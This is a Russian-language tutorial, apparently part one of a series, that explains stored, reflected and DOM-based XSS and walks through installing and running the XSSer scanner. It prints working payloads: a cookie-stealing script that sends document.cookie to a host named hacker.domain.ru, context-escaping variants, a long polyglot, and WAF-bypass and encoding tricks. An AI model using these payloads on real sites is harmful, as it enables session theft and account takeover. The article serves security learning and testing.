Хранимые, отображаемые и DOM-based XSS. Часть 1

#Обучение

XSS (Cross Site Scripting) — один из самых популярных видов веб-уязвимостей, позволяющий производить внедрение вредоносного кода в отдаваемую веб-приложением страницу. Атаки с использованием XSS-вектора позволяют внедрять на страницу произвольное содержимое, перехватывать cookie и сессии других пользователей, получать доступ в закрытые разделы сайта и даже привилегии администратора веб-ресурса. 

Существует несколько видов XSS: 

• Хранимые. Вредоносный код сохраняется на сервере и загружается с него каждый раз, когда пользователи запрашивают отображение той или иной страницы. Чаще всего проявляются там, где пользовательский ввод не проходит фильтрацию и сохраняется на сервере: форумы, блоги, чаты, журналы сервера и т.д. Например, скрипт <img src="http://exmple.com/">, оставленный на странице сайта с очень высокой посещаемостью, может спровоцировать DDoS-атаку на указанный веб-ресурс.
• Отображаемые. Вредоносная строка является частью запроса жертвы к веб-сайту. Сайт принимает и вставляет эту вредоносную строку в отправляемый ответ обратно пользователю. Например, при переходе пользователем по ссылке: http://example.com/q=<href='a' style='font-size:500px'> на странице отобразится гиперссылка, при наведении на которую выполнится скрипт alert(‘XSS’). Но для этого необходимо каким-то образом (например, с использованием социальной инженерии) заставить пользователя ввести эту ссылку в адресной строке.
• XSS в DOM-модели. Представляет собой вариант как хранимой, так и отображаемой XSS-атаки. В данном случае вредоносная строка не обрабатывается браузером жертвы, пока настоящий JavaScript веб-сайта не выполнится. 

Как работает DOM Based XSSu 

Предположим, что мы разработали веб-приложение, содержащее следующий код:

 <title>Example XSS</title>
<h1 id="greeting">Hello there!</h1>
<script>
var name = new URLSearchParams(document.location.search).get('name');
if (name !== 'null') {
document.getElementById('greeting').innerHTML = 'Hello ' + name + '!';
}
</script>

XSS имеют различные вариации, например, сообщение на форуме с текстом <script>alert('XSS')</script> поместит скрипт на странице, и любой пользователь, который посетит ее, вызовет обработку этого скрипта браузером. Но это сработает в том случае, если нет никакой фильтрации пользовательского ввода. Если фильтрация присутствует, хотя бы на закрывающиеся теги, то подобная конструкция уже не сработает. В таком случае скрипт необходимо немного видоизменить, разместив его, например, в тегах <img>, <iframe> и им подобных, то есть в тех, которые не требуется закрывать. Например:

<img src=http://example.com/image.png onerror=alert('XSS')>

Тег <img> отвечает за загрузку картинки на страницу, и при указании адреса, откуда ее загружать, добавляется обработчик событий, который активируется в случае успеха или ошибки при загрузке. В данном случае при ошибке загрузки картинки с ресурса example.com сработает обработчик событий onerror, который запустит скрипт alert(‘XSS’). Вариаций использования обработчиков событий также довольно много: onload, onerror, onmouseover и т.д. Но помимо безопасной конструкции <script>alert('XSS')</script> злоумышленник может написать скрипт, который будет передавать ему на удаленный сервер cookie всех пользователей, посетивших страницу.

<script>
var s=document.location;
if (String(s).indexOf('iC')<0).{document.location='http://hacker.domain.ru/search.php?q='+document.cookie;}
</script>

Есть и так называемые «слепые» XSS (blind XSS) — это вариант хранимой XSS. Суть их работы заключается в том, что злоумышленник не сможет сразу увидеть результат, или результат работы пейлоада будет выводиться, например, на какой-то другой странице, вроде формы обратной связи или публикации отзывов с предварительной модерацией сообщений. Прислав в тексте сообщения скрипт, злоумышленник не увидит никакой реакции от веб-приложения, однако на стороне администратора или модератора сервиса скрипт отработает, вызвав написанную злоумышленником функцию. Если рассматривать данный вид атаки в контексте примера XSS с кражей cookie, то в таком случае администратор, ничего не успев понять, передаст их злоумышленнику. 

Главная проблема поиска blind XSS в том, что необходимо учитывать множество контекстов, в которых может выполняться код, например, внутри одинарных или двойных кавычек, различных атрибутов и т.д. Для примера возьмем один и тот же пейлоад и посмотрим, в каких контекстах он может находиться. Исходный пейлоад опять же будет простым <script>alert(context)</script>. 

Его можно доработать, чтобы он выполнился также и в других контекстах. Для этого нужно будет подстроиться под них: 

• '><script>alert(context)</script> — вышли за пределы атрибута в одинарных кавычках;
• '"><script>alert(context)</script> — вышли за пределы атрибута в одинарных и двойных кавычках;
• -->'"><script>alert(context)</script> — вышли также за пределы HTML-комментария;
• -->'"><script>alert(context)</script> — вышли за пределы элемента textarea;
• -->'"><script>alert(context)</script> — вышли за пределы элемента style. 

Проверить эти параметры может помочь использование XSS-полиглотов, которые учитывают различные контексты, например:

javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression(/*’/-/*',/**/eval(name)//);width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Такой пейлоад должен выполниться в любом контексте, то есть его можно поместить в любой параметр и не беспокоиться о том, в какой участок кода он попадет. 

Существует довольно много пейлоадов-полиглотов, их можно взять из SecLists или тут. 

Если подойти к вопросу в контексте безопасности, то использование только сигнатурного анализа в WAF для фильтрации пользовательских данных позволяет выполнить «обход», используя альтернативный метод выполнения сценария. Например, вместо <script>alert('XSS');</script> использовать конструкцию \<a onmouseover="alert('XSS')">xss link\</a> для создания ссылки, при наведении на которую сработает обработчик событий onmouseover, выполнив скрипт. Если фильтруется ввод закрывающих тегов, то можно перейти на теги, которые не требуется закрывать, например <img>. Если WAF блокирует и закрывающие теги, и теги типа <img>, то можно попробовать тег body: <BODY ONLOAD=alert('XSS')> 

Еще один вариант обхода блокировки WAF – методы обфускации пейлоада. Например, используя URL-Encode стандартный пейлоад <script>alert('XSS')</script>, можно превратить в %3Cscript%3Ealert%28XSS%29%3C%2Fscript%3E. 

Для автоматизации поиска и эксплуатации XSS-уязвимостей существуют специальные инструменты (фреймворки), такие как XSSer или XSStrike, оба являются бесплатными. 

XSSer 

Cross Site «Scripter» (также известный как XSSer) – это автоматический фреймворк для обнаружения и эксплуатации XSS-уязвимостей в веб-приложениях. Содержит несколько опций для обхода определенных фильтров и специальные техники внедрения кода. 

Ключевые особенности инструмента: 

• возможность создания изображений или видеофайлов с XSS-пейлоадом для дальнейшей загрузки в веб-приложение;
• поиск для внедрения XSS с помощью Google Dorks запросов;
• проверка наличия XSS-фильтров у целевого веб-приложения;
• опция генерации пейлоада для попыток обхода систем WAF;
• выявление Blind XSS.

Установка

Для установки инструмента можно воспользоваться deb-пакетом с официального сайта, либо на Github скачать скрипт установки.

    apt install python3-pycurl python3-bs4 python3-geoip python3-geoip2 python3-gi python3-cairocffi
    git clone https://github.com/epsylon/xsser.git
    cd xsser
    python3 setup.py install

Использование 

Использование ключей для составления запроса 

Для вызова справки по командам вводим xsser -h. Команда xsser --update обновит инструмент до актуальной версии, а xss --gtk запустит графический интерфейс, но об этом чуть позже. 

Стандартная команда для проверки XSS выглядит так:

# xsser -u "http://example.com" -g "/index.php?login=XSS&password=1&Submit"
# xsser -u "http://example.com/index.php" -p "login=XSS&password=1&Submit"

• -u — URL для проверки;
• -g/-p — параметры для GET- и POST-запросов с указанием места внедрения проверочного пейлоада при помощи строки XSS.
• --crawler — поиск всех страниц веб-приложения для дальнейшего анализа;
• --cookie — изменить заголовок HTTP Cookie;
• --user-agent — изменить заголовок HTTP User-Agent;
• --referer — использовать другой заголовок HTTP Referer;
• --header — добавить новые заголовки;
• --payload — использование определенного пейлоада для тестирования XSS. Если конкретный пейлоад не требуется, то можно указать параметр --auto для их автоматической генерации;
• --checkaturl — проверить ответ, используя альтернативный URL. Параметр необходим для проверки Blind XSS.

Использование графического интерфейса 

Для любителей графического интерфейса существует команда xsser --gtk. Запустится окно программы, где можно настраивать запросы для тестирования аналогично консольному варианту. Но здесь работать гораздо удобнее, исключив возможность запутаться в действительно обширном количестве ключей. 

Лайфхак: указывая параметры URL, data, payloads и т.д., их необходимо обязательно заключать в кавычки подобно написанию в консоли. В графическом интерфейсе, видимо, не подразумевалась данная функция по умолчанию. 

Вариантов настройки запросов в графическом интерфейсе тоже 2, как и в консольном варианте: 

• обычный режим — пользователь сам выбирает параметры для составления запроса;
• мастер запросов — интерактивное окно, в котором необходимо последовательно выбирать такие параметры, как: метод отправляемого запроса, URL проверяемого веб-приложения (один URL или список), метод генерации пейлоадов (конкретный или автоматическая генерация), необходима ли анонимизация отправки запросов такими средствами, как Tor и т.д. 

С мастером настройки особых проблем возникать не должно. Главное — четко понимать, какие данные необходимы, поэтому остановимся подробнее на обычном режиме. 

При запуске графического интерфейса, как уже говорилось ранее, появится окно программы, где вводится URL для тестирования, указывается использование поисковой системы страниц с уязвимостями, краулер, а также Tor прокси для анонимизации. Остальные настройки будут производиться в соответствующих разделах: 

Connection 

Основной раздел составления запроса.

• метод используемых запросов (GET или POST);
• прокси, если необходимо;
• изменение заголовков User-Agent, Cookie, Referer, Headers (добавление новых заголовков);
• дополнительно можно указать параметры игнорирования заголовков параметром drop-cookie, следование за редиректами с помощью опции follow-redirects и HTTP аутентификацию.

Cheker 

Проверка доступности хоста и настройка проверки Blind XSS.

• HEAD cheker — отправка запроса перед тестированием для проверки того, жив ли тестируемый хост и отвечает ли на запросы. Ожидает ответ от сервера 200 или 302;
• Blind XSS URL — альтернативный URL-адрес для проверки «слепой» XSS;
• Blind XSS payload — альтернативный пейлоад для проверки «слепой» XSS;
• Reverse checker — параметр установки обратного соединения с XSSer для подтверждения уязвимости;
• Discard Cheker — установка кода ответа от веб-приложения для прекращения атак.

Vectors 

Позволяет вручную установить пейлоад для проверки или использовать автоматическую генерацию.

Anti-antiXSS

Использование параметров для попытки обхода некоторых WAF, а также анти-XSS фильтры некоторых браузеров. Последнее не имеет смысла, так как заявленые браузеры являются устаревшими и вряд ли не используются на текущий момент

Bypasser 

Содержит различные настройки обфускации пейлоадов для обхода прочих средств защиты.

• --Str — Использовать метод String.FromCharCode ();
• --Une — Использовать функцию Unescape ();
• --Dec — Использовать десятичное кодирование;
• --Hex — Использовать шестнадцатеричное кодирование;
• --Doo — Кодировать IP-адрес с помощью восьмеричного числа и т.д;
• --Cem — Использовать несколько методов кодировки.

Technique 

Различные техники внедрения пейлоада.

• --Coo — Внедрение межсайтового скриптинга в Cookie;
• --Xsa — Внедрение межсайтового скриптинга User-Agent;
• --Xsr — Внедрение межсайтового скриптинга в Referer;
• --Dom — Внедрение межсайтового скриптинга в DOM-модель и так далее.

Exploit 

Специальные методы выполнения инъекций.

• --B64 — кодировка кода с помощью Base64 в теге META;
• --Onm — использовать событие onMouse();
• --Ifr — использовать исходный тег <iframe>;
• --DoS — отказ в обслуживании через XSS (клиент/сервер).

После указания всех параметров можно нажать на главном окне кнопку «Fly» для выполнения атаки или кнопку «Aim» для генерации консольной команды.

Продолжение следует…

Источник